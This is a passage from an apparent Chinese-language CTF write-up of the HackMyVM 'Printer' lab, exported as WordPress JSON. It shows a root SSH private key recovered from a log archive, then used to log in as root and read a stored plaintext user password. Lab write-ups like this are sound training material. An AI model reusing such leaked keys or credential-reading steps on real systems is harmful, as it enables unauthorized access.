logs\nlisa@printer:\/opt\/logs$ ls -la\ntotal 84\ndrwxr-xr-x 2 root root  4096 Apr 28 10:47 .\ndrwxr-xrwx 3 root root  4096 Apr 28 10:43 ..\n-rw-r--r-- 1 root root 73609 Apr 28 10:46 journal.zip\n-rwxr-xr-x 1 root root   565 Jan  8  2023 nsecure\nlisa@printer:\/opt\/logs$ unzip journal.zip \/tmp\/\nArchive:  journal.zip\ncaution: filename not matched:  \/tmp\/\nlisa@printer:\/opt\/logs$ mv journal.zip \/tmp\/\nmv: cannot move &#039;journal.zip&#039; to &#039;\/tmp\/journal.zip&#039;: Permission denied\nlisa@printer:\/opt\/logs$ unzip journal.zip -d \/tmp\/\nArchive:  journal.zip\n[journal.zip] d00052-001 password: \n  inflating: \/tmp\/d00052-001         \nlisa@printer:\/opt\/logs$ file \/tmp\/d00052-001\n\/tmp\/d00052-001: data\nlisa@printer:\/opt\/logs$ cat \/tmp\/d00052-001<\/code><\/pre>\n<pre><code class=\"language-bash\">\ufffd\ufffd\ufffdcpts\/0192.168.0.10p\ufffd-fpts\/0192.168.0.143-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAv\/7imsga0zuLb2JwVobQ63bUd6wveWRS1Axa+YjhBY3VIBTuO4UW\nPe32HLm5jhwrec6ujCXxlq2ZrNXLvRTSQPOzmEEO5JxElR91JPXAmww7E34iWywll1Y2Br\nPorpUeeTF+h\/6fnYMlhUpIcF363KnN+vZPSeA8Fxc3Dto00uDtM5DRD0Jim5dxvsiRKJDp\nxnRaxCuDHHnhYZppezM86ScAIIdViHDNGd6BFNCgoiaM6oZ47HdX6d+YnmkpoCr6yvu2Ql\nfnOjf2pecNAKL+ea13Hm7VT4OvHIsdawIP\/2fUw0kM\/XYThEtYhd\/hNb6c7piyx9B0BZqQ\nx7BnWrnhZSCRyiU7hB2xAVzUg\/do6lZiCSWnEFHwEZwN4gRd3wFH6PTOK36ueVUDLW6Rzm\nSjBrhSWBIzmv\/f+Qaquwfzx+kADeFKehm6AU6pU3DR915OXJ74Ob6dX2pIBieOCMCcY09r\nU6gfqDWxXISXpAnJWdNPRD+30nWbHr1ttbjkU8lnAAAFiN7lGVbe5RlWAAAAB3NzaC1yc2\nEAAAGBAL\/+4prIGtM7i29icFaG0Ot21HesL3lkUtQMWvmI4QWN1SAU7juFFj3t9hy5uY4c\nK3nOrowl8ZatmazVy70U0kDzs5hBDuScRJUfdST1wJsMOxN+IlssJZdWNgaz6K6VHnkxfo\nf+n52DJYVKSHBd+typzfr2T0ngPBcXNw7aNNLg7TOQ0Q9CYpuXcb7IkSiQ6cZ0WsQrgxx5\n4WGaaXszPOknACCHVYhwzRnegRTQoKImjOqGeOx3V+nfmJ5pKaAq+sr7tkJX5zo39qXnDQ\nCi\/nmtdx5u1U+DrxyLHWsCD\/9n1MNJDP12E4RLWIXf4TW+nO6YssfQdAWakMewZ1q54WUg\nkcolO4QdsQFc1IP3aOpWYgklpxBR8BGcDeIEXd8BR+j0zit+rnlVAy1ukc5kowa4UlgSM5\nr\/3\/kGqrsH88fpAA3hSnoZugFOqVNw0fdeTlye+Dm+nV9qSAYnjgjAnGNPa1OoH6g1sVyE\nl6QJyVnTT0Q\/t9J1mx69bbW45FPJZwAAAAMBAAEAAAGAQ\/aXApF5JXL7jcc72vVIOUHMPj\nyeZYtE4rko7xIsDYpCemPOXRVkZTG6IDsCWzLPlQO7t\/KqjVsQfiUERP982e8qkOfevMAw\natVC431226u9sc3BnaKIAAVNhJvk7v\/sVJxXnQ5eNCS7gG5mLBiod7pIJuFP+ee9fbMDE2\nfcsRVcAhfuWUd3nnpCknVvJPv\/NPf1NWHtvIPMa398fVcK5cGfguRFO9IqWFDyQosDgcLB\nuTc20QYCAdDbtp+lU4RCuxMpeUJp4d\/NpOtMsJcCrubSaGyGnUshljqj1yAfbJulxh9jil\nVE\/6AgdMwCvAIVFlKK5dvmAeinbo6g+Yw63xXIX+g6iKqh+n8if6ZhCp9lBQYeflW42N42\njNp9KJJeEG4Wls6uHeiKXK6x7b9MdOus4\/m7MTfHe1WvvmkcH\/zoG\/4NURS4rpTRNGZkiu\nsYRjoVeG9uJx5DKdoCZ374ZrcoOJfp\/ektPvnm6eu04BuiwkqkGSF8wXE9G5a\/ifKZAAAA\nwQDgRNQroypyhHA95IKLL+n9uWyDSrXb+Q49Ca95JuHNB6vaP9qomEyWUNn5G8GjnCv0X6\nIoSMNwKWYHdN9+juvoj162IEAl5gpJ7oj4taA07rED\/l8fwlh8iPRP0iesoZ5e9weiB7zJ\nxUCNafCnxyKw629nScTasSWThBXFPLv46i71QH2JNU41rkvNbkpW2MMtrqztnMpk4zdGBp\nncRlMXpYU+vfHjuX5ol\/1AG3RtiwHn1oWY84r7PRRDzQLObV8AAADBAPW\/4nIAgT8qtMmo\nQA6z8xl7Q4s1Z59GEILlloiK9oHQCUTOU2apP3P5LfdWYcqHpr5+e1ZJeC5dXXSHQ7eDm7\n8dyXlJQGoU0o6NYBdfXPYNXQTTjTivrXPsW1rIkORMQ3LcrLsqe6ncgmH7ddmx6HfstID5\n391CvGLh7ej6CSpPs4133FP9WQDsbywqQu1hc\/yPRj79SGNYLK3+ErYfYXhY+abHS+1w+A\niqsdfp5huDAZicachDQo9RpzNaG8MLOwAAAMEAyAEEG\/RFD2otS1LmSFRrafqBLmYNrN3n\nU967OdzNfu1pMnrWymbUHr4FYX+PdqNNRXWKGhapDwNzZwuGy7VB+zzX5pBdTY4WPWOOFT\nWeRxvbgoEBPYoO\/OgD42Wqzarp1hBI2IScE9M1HVE\/SO+\/85OBgZyDVeOfCIev62oQQTmO\n913trazGIjB2PILmBi9FBkm4aw8fN142OWqvOcOPoClcK8G2i0WqaumfqT9LoAicWbtmoN\nQTVrZgcBNsoB\/FAAAADHJvb3RAcHJpbnRlcgECAwQFBg==\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ head root                                                                                                                                   \n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAv\/7imsga0zuLb2JwVobQ63bUd6wveWRS1Axa+YjhBY3VIBTuO4UW\nPe32HLm5jhwrec6ujCXxlq2ZrNXLvRTSQPOzmEEO5JxElR91JPXAmww7E34iWywll1Y2Br\nPorpUeeTF+h\/6fnYMlhUpIcF363KnN+vZPSeA8Fxc3Dto00uDtM5DRD0Jim5dxvsiRKJDp\nxnRaxCuDHHnhYZppezM86ScAIIdViHDNGd6BFNCgoiaM6oZ47HdX6d+YnmkpoCr6yvu2Ql\nfnOjf2pecNAKL+ea13Hm7VT4OvHIsdawIP\/2fUw0kM\/XYThEtYhd\/hNb6c7piyx9B0BZqQ\nx7BnWrnhZSCRyiU7hB2xAVzUg\/do6lZiCSWnEFHwEZwN4gRd3wFH6PTOK36ueVUDLW6Rzm\nSjBrhSWBIzmv\/f+Qaquwfzx+kADeFKehm6AU6pU3DR915OXJ74Ob6dX2pIBieOCMCcY09r\nU6gfqDWxXISXpAnJWdNPRD+30nWbHr1ttbjkU8lnAAAFiN7lGVbe5RlWAAAAB3NzaC1yc2\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ chmod 600 root             \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ ssh root@192.168.0.187 -i root\nLinux printer 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Wed Jan 25 07:28:04 2023 from 192.168.0.10\nroot@printer:~# ls -la\ntotal 32\ndrwx------  4 root root 4096 Jan 25  2023 .\ndrwxr-xr-x 18 root root 4096 Jan  7  2023 ..\nlrwxrwxrwx  1 root root    9 Jan  7  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc\n-rwx------  1 root root   11 Jan  8  2023 .lisaPass\ndrwxr-xr-x  3 root root 4096 Jan  7  2023 .local\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-rwx------  1 root root   33 Jan  8  2023 root.txt\ndrwx------  2 root root 4096 Jan  8  2023 .ssh\nroot@printer:~# cat .lisaPass \n1154p455!1<\/code><\/pre>\n<p>\u62ff\u5230rootshell\uff01\uff01\uff01<\/p>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV1xw411j7U5\">https:\/\/www.bilibili.com\/video\/BV1xw411j7U5<\/a><\/p>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=Bcm3N5npw-c\">https:\/\/www.youtube.com\/watch?v=Bcm3N5npw-c<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/BlackCage\/BlackCage-WebSite\/blob\/main\/_posts\/2023-04-17-printer-hmv.md\">https:\/\/github.com\/BlackCage\/BlackCage-WebSite\/blob\/main\/_posts\/2023-04-17-printer-hmv.md<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Printer \u4fe1\u606f\u626b\u63cf \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer] \u2514\u2500$ r [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-651","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/651","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=651"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/651\/revisions"}],"predecessor-version":[{"id":652,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/651\/revisions\/652"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=651"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=651"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=651"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}